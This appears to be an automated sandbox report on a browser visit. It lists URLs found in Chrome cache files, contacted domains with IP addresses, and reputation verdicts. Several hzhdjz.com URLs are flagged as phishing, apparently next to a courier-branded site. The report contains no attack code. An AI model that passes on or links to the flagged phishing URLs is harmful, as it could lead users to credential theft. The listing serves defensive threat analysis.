Source: chromecache_463.2.dr, chromecache_424.2.dr	String found in binary or memory: http://kenwheeler.github.io
Source: chromecache_463.2.dr, chromecache_424.2.dr	String found in binary or memory: http://kenwheeler.github.io/slick
Source: chromecache_295.2.dr, chromecache_523.2.dr	String found in binary or memory: http://modernizr.com/download/#-csstransforms-csstransforms3d-shiv-cssclasses-prefixed-teststyles-te
Source: chromecache_508.2.dr, chromecache_295.2.dr, chromecache_523.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_538.2.dr, chromecache_344.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_284.2.dr, chromecache_400.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_353.2.dr, chromecache_551.2.dr, chromecache_240.2.dr, chromecache_310.2.dr	String found in binary or memory: http://www.hubspot.com
Source: chromecache_201.2.dr, chromecache_529.2.dr	String found in binary or memory: http://www.linkedin.com/shareArticle?url=
Source: chromecache_542.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_534.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_193.2.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: chromecache_442.2.dr, chromecache_221.2.dr, chromecache_336.2.dr, chromecache_500.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_443.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/gh/Wruczek/Bootstrap-Cookie-Alert
Source: chromecache_443.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js
Source: chromecache_443.2.dr, chromecache_226.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/intl-tel-input
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/vanilla-lazyload
Source: chromecache_443.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/Sly/1.6.1/sly.min.js
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/js/bootstrap.min.js
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-1925941
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-1950744
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-1955220
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-1956301
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-1998374
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-2035646
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-2165259
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0#review-2191089
Source: chromecache_443.2.dr	String found in binary or memory: https://clutch.co/profile/uzer-0?page=1#review-1966987
Source: chromecache_443.2.dr	String found in binary or memory: https://co.linkedin.com/company/xtrategy.co
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.6.0.min.js
Source: chromecache_198.2.dr, chromecache_407.2.dr, chromecache_506.2.dr	String found in binary or memory: https://connect.facebook.net/
Source: chromecache_455.2.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_198.2.dr, chromecache_407.2.dr, chromecache_506.2.dr	String found in binary or memory: https://connect.facebook.net/log/fbevents_telemetry/
Source: chromecache_257.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_257.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Lexend:wght
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Noto
Source: chromecache_550.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Urbanist:wght
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_487.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/lexend/v19/wlpwgwvFAVdoq2_v-6QU.woff2)
Source: chromecache_487.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/lexend/v19/wlpwgwvFAVdoq2_v9KQU4Wc.woff2)
Source: chromecache_487.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/lexend/v19/wlpwgwvFAVdoq2_v9aQU4Wc.woff2)
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.0.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.1.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.10.w
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.11.w
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.2.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.3.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.4.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.5.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.6.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.7.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.8.wo
Source: chromecache_313.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.9.wo
Source: chromecache_545.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/urbanist/v15/L0x-DF02iFML4hGCyMqlbS0.woff2)
Source: chromecache_545.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/urbanist/v15/L0x-DF02iFML4hGCyMqrbS10ig.woff2)
Source: chromecache_266.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/urbanist/v15/L0xjDF02iFML4hGCyOCpRdycFsGxSrqDFRkvEZmq.woff2)
Source: chromecache_266.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/urbanist/v15/L0xjDF02iFML4hGCyOCpRdycFsGxSrqDFRkvH5mqe8Q.woff2)
Source: chromecache_317.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_507.2.dr, chromecache_440.2.dr, chromecache_453.2.dr, chromecache_491.2.dr, chromecache_273.2.dr, chromecache_468.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_385.2.dr, chromecache_193.2.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: chromecache_212.2.dr, chromecache_509.2.dr, chromecache_504.2.dr	String found in binary or memory: https://github.com/Wruczek/Bootstrap-Cookie-Alert
Source: chromecache_459.2.dr, chromecache_395.2.dr, chromecache_295.2.dr, chromecache_523.2.dr	String found in binary or memory: https://github.com/darsain/sly
Source: chromecache_444.2.dr, chromecache_296.2.dr	String found in binary or memory: https://github.com/jackocnr/intl-tel-input.git
Source: chromecache_507.2.dr, chromecache_440.2.dr, chromecache_491.2.dr, chromecache_468.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_453.2.dr, chromecache_317.2.dr, chromecache_273.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_440.2.dr, chromecache_453.2.dr, chromecache_491.2.dr, chromecache_273.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_531.2.dr	String found in binary or memory: https://google.com
Source: chromecache_531.2.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_353.2.dr, chromecache_240.2.dr	String found in binary or memory: https://js-na1.hs-scripts.com/22144436.js
Source: chromecache_275.2.dr, chromecache_202.2.dr	String found in binary or memory: https://js.hs-analytics.net/analytics/1727397000000/22144436.js
Source: chromecache_551.2.dr, chromecache_310.2.dr	String found in binary or memory: https://js.hs-banner.com/v2
Source: chromecache_275.2.dr, chromecache_202.2.dr	String found in binary or memory: https://js.hs-banner.com/v2/22144436/banner.js
Source: chromecache_275.2.dr, chromecache_202.2.dr	String found in binary or memory: https://js.hscollectedforms.net/collectedforms.js
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://noticias.UZER.co/
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.UZER.co/category/innovacion/
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.UZER.co/category/ui/
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.UZER.co/cuanto-aumenta-el-exito-de-un-producto-o-negocio-digital-con-user-experienc
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.UZER.co/la-apariencia-y-estetica-de-los-productos-digitales-es-determinante-en-la-g
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.uzer.co/en/uzer-secures-best-ux-consulting-and-design-agency-in-latin-america-for-t
Source: chromecache_443.2.dr	String found in binary or memory: https://noticias.uzer.co/uzer-premiada-como-mejor-agencia-de-consultoria-y-diseno-ux-de-latinoameric
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://owlcarousel2.github.io/OwlCarousel2/assets/owlcarousel/assets/owl.carousel.min.css
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://owlcarousel2.github.io/OwlCarousel2/assets/owlcarousel/owl.carousel.js
Source: chromecache_542.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_442.2.dr, chromecache_221.2.dr, chromecache_336.2.dr, chromecache_500.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_193.2.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://schema.org
Source: chromecache_212.2.dr, chromecache_504.2.dr	String found in binary or memory: https://stackoverflow.com/a/39451131)
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://static.hotjar.com/c/hotjar-
Source: chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_377.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_442.2.dr, chromecache_221.2.dr, chromecache_336.2.dr, chromecache_500.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_201.2.dr, chromecache_529.2.dr	String found in binary or memory: https://twitter.com/intent/tweet?text=
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://twitter.com/xtrategyco
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://unpkg.com/aos
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://unpkg.com/popper.js
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://use.fontawesome.com/releases/v5.5.0/css/all.css
Source: chromecache_455.2.dr	String found in binary or memory: https://uzer.co/
Source: chromecache_443.2.dr	String found in binary or memory: https://uzer.co/MPPTD_XTRATEGY.CO.pdf
Source: chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://uzer.co/en
Source: chromecache_443.2.dr	String found in binary or memory: https://uzer.co/en/
Source: chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://uzer.co/error.html
Source: chromecache_455.2.dr	String found in binary or memory: https://uzer.co/uzer-logo-white.png
Source: chromecache_193.2.dr	String found in binary or memory: https://vimeo.com/:id
Source: chromecache_193.2.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: chromecache_193.2.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://wa.me/573115564271?text=Hola
Source: chromecache_534.2.dr, chromecache_443.2.dr, chromecache_279.2.dr, chromecache_221.2.dr, chromecache_500.2.dr, chromecache_455.2.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_542.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_210.2.dr, chromecache_359.2.dr	String found in binary or memory: https://www.google.com/pagead/1p-user-list/10981864615/?random
Source: chromecache_534.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_542.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_221.2.dr, chromecache_336.2.dr, chromecache_500.2.dr, chromecache_531.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_390.2.dr, chromecache_340.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-94GBDVKM3R
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-W4NBD3
Source: chromecache_221.2.dr, chromecache_336.2.dr, chromecache_500.2.dr, chromecache_531.2.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://www.instagram.com/UZER_co/
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: https://www.linkedin.com/company/xtrategy.co/about/
Source: chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_455.2.dr	String found in binary or memory: https://www.uzer.co/
Source: chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_193.2.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: chromecache_193.2.dr	String found in binary or memory: https://youtu.be/:id

Name	IP	Active	Malicious	Reputation
forms.hsforms.com	104.18.80.204	true	false	unknown
vc-live-cf.hotjar.io	18.66.112.19	true	false	unknown
pacman-content-live.live.eks.hotjar.com	54.220.48.221	true	false	unknown
js.hs-analytics.net	104.17.175.201	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
stats.g.doubleclick.net	66.102.1.154	true	false	unknown
owlcarousel2.github.io	185.199.109.153	true	false	unknown
scontent.xx.fbcdn.net	157.240.0.6	true	false	unknown
track.hubspot.com	104.16.118.116	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
script.hotjar.com	13.33.187.109	true	false	unknown
forms.hscollectedforms.net	104.16.107.254	true	false	unknown
mobile.servientrega.com	190.145.160.56	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
js.hs-scripts.com	104.16.141.209	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
static-cdn.hotjar.com	18.66.102.51	true	false	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	unknown
js.hs-banner.com	104.18.40.240	true	false	unknown
uzer.co	84.32.84.139	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	unknown
sth0d7m9clo4y72mjm8vh3.s.decidata.tv	18.173.205.50	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
analytics-alv.google.com	216.239.34.181	true	false	unknown
googleads.g.doubleclick.net	142.250.184.194	true	false	unknown
td.doubleclick.net	142.250.185.66	true	false	unknown
hzhdjz.com	129.226.167.139	true	false	unknown
unpkg.com	104.17.248.203	true	false	unknown
js.hscollectedforms.net	104.16.107.254	true	false	unknown
wsky-live.live.eks.hotjar.com	54.195.202.131	true	false	unknown
s.go-mpulse.net	unknown	unknown	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	unknown
use.fontawesome.com	unknown	unknown	false	unknown
vc.hotjar.io	unknown	unknown	false	unknown
static.hotjar.com	unknown	unknown	false	unknown
ws.hotjar.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
www.linkedin.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
px.ads.linkedin.com	unknown	unknown	false	unknown
tracker.metricool.com	unknown	unknown	false	unknown
content.hotjar.io	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	unknown
www.servientrega.com	unknown	unknown	false	unknown
analytics.google.com	unknown	unknown	false	unknown
c.go-mpulse.net	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://uzer.co/error.html	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvVdT&sid=OacSPYsmFFuy1zIZAHvv	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvQj3&sid=s0KKfmYKshusOdE2AHvj	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvIXL&sid=_crVubC_5MLuNEBHAHvS	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/assets/522b5b49ajMSD.js	true	Avira URL Cloud: phishing	unknown
https://uzer.co/images/port5-m.png	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/port7.png	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=ULPwAcmOXMgvI-csAHvd	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/layout/images/64.svg	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvOt2&sid=nkQPtMDZtp8EkMUSAHvg	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvPny&sid=nkQPtMDZtp8EkMUSAHvg	false	Avira URL Cloud: safe	unknown
https://mobile.servientrega.com/WebSitePortal/assets/css/plug.min.css	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvHyu	false	Avira URL Cloud: safe	unknown
https://uzer.co/css/style.css	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/ico-procesos-03.svg	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvMT-	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvLuJ&sid=ndsqEy2MuqcjGiqjAHva	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvGkd&sid=6868GHgcXyLXQhqVAHvP	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=s0KKfmYKshusOdE2AHvj	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/layout/images/48.svg	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/modify/	true		unknown
https://hzhdjz.com/api/MC4xMTYyOTU2MDkzMzQzMjgxNA==	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/uzer-heading-bg-2024.jpg	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/ico-procesos-cta.svg	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvXCK&sid=Odi1REhLuVDM5YEvAHv5	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvIya&sid=_crVubC_5MLuNEBHAHvS	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/assets/7ae8a4f5ajMSD.js	true	Avira URL Cloud: phishing	unknown
https://uzer.co/js/modernizr.js	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/assets/beb21690tE5dP.css	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvXCS&sid=Odi1REhLuVDM5YEvAHv5	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvN5u&sid=ULPwAcmOXMgvI-csAHvd	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/layout/images/53.svg	true	Avira URL Cloud: phishing	unknown
https://cdnjs.cloudflare.com/ajax/libs/Sly/1.6.1/sly.min.js	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/assets/d1a234c2ajMSD.js	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvWdO	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/port6-m.png	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/api/MC44NDY4NjYxOTc4ODEwODI3	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=6868GHgcXyLXQhqVAHvP	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/design-thinking-home.png	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/api/MC4xODAwNTU5Mjg5NDE3NzEzNg==	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/imagen-blog-01.png	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=ndsqEy2MuqcjGiqjAHva	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvSKW&sid=6G69v6zrCnrHniYLAHvm	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/port3.png	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/assets/c27b6911ajMSD.js	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvU8-&sid=PQJKwlcW2TwmeH6lAHvp	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvQI1	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvU91&sid=PQJKwlcW2TwmeH6lAHvp	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=dekoaNHBGJzT_KqMAHwF	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvHCy&sid=6868GHgcXyLXQhqVAHvP	false	Avira URL Cloud: safe	unknown
https://vc.hotjar.io/sessions/3513970?s=0.25&r=0.1891445150206621	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/layout/images/68.svg	true	Avira URL Cloud: phishing	unknown
https://js.hs-analytics.net/analytics/1727397000000/22144436.js	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvSgP&sid=6G69v6zrCnrHniYLAHvm	false	Avira URL Cloud: safe	unknown
https://uzer.co/images/port1-m.png	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/signals/config/524515998044999?v=2.9.168&r=stable&domain=uzer.co&hme=3ba426d944c98eb3ce406a0f93fc097d0320a486b65b445a33b2eda3a5aa3429&ex_m=70%2C119%2C105%2C109%2C61%2C4%2C98%2C69%2C16%2C95%2C87%2C51%2C54%2C170%2C173%2C185%2C181%2C182%2C184%2C29%2C99%2C53%2C76%2C183%2C165%2C168%2C178%2C179%2C186%2C129%2C41%2C34%2C141%2C15%2C50%2C192%2C191%2C131%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C91%2C17%2C14%2C94%2C90%2C89%2C106%2C52%2C108%2C39%2C107%2C30%2C92%2C26%2C166%2C169%2C138%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C74%2C100%2C27%2C75%2C9%2C8%2C79%2C48%2C21%2C102%2C101%2C103%2C96%2C10%2C20%2C3%2C38%2C19%2C84%2C56%2C82%2C33%2C73%2C0%2C93%2C32%2C81%2C86%2C47%2C46%2C85%2C37%2C5%2C88%2C80%2C44%2C35%2C83%2C2%2C36%2C63%2C42%2C104%2C45%2C78%2C68%2C110%2C60%2C59%2C31%2C97%2C58%2C55%2C49%2C77%2C72%2C24%2C111	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/modify/layout/images/57.svg	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/modify/layout/images/67.svg	true	Avira URL Cloud: phishing	unknown
https://hzhdjz.com/modify/layout/images/49.svg	true	Avira URL Cloud: phishing	unknown
https://uzer.co/images/design-sprints-home.png	false	Avira URL Cloud: safe	unknown
https://mobile.servientrega.com/WebSitePortal/assets/css/app.css	false	Avira URL Cloud: safe	unknown
https://js.hscollectedforms.net/collectedforms.js	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvPc-&sid=nkQPtMDZtp8EkMUSAHvg	false	Avira URL Cloud: safe	unknown
https://uzer.co/js/forms.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?id=524515998044999&ev=PageView&dl=https%3A%2F%2Fuzer.co%2F&rl=&if=false&ts=1727397240730&sw=1280&sh=1024&v=2.9.168&r=stable&ec=0&o=4126&fbp=fb.1.1727397240713.641945746183183997&ler=empty&cdl=API_unavailable&it=1727397237713&coo=false&rqm=GET	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/api/MC43MzcyMDI0ODQ0ODQ2ODQ1	false	Avira URL Cloud: safe	unknown
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvNS3&sid=ULPwAcmOXMgvI-csAHvd	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://clutch.co/profile/uzer-0#review-1956301	chromecache_443.2.dr	false	Avira URL Cloud: safe	unknown
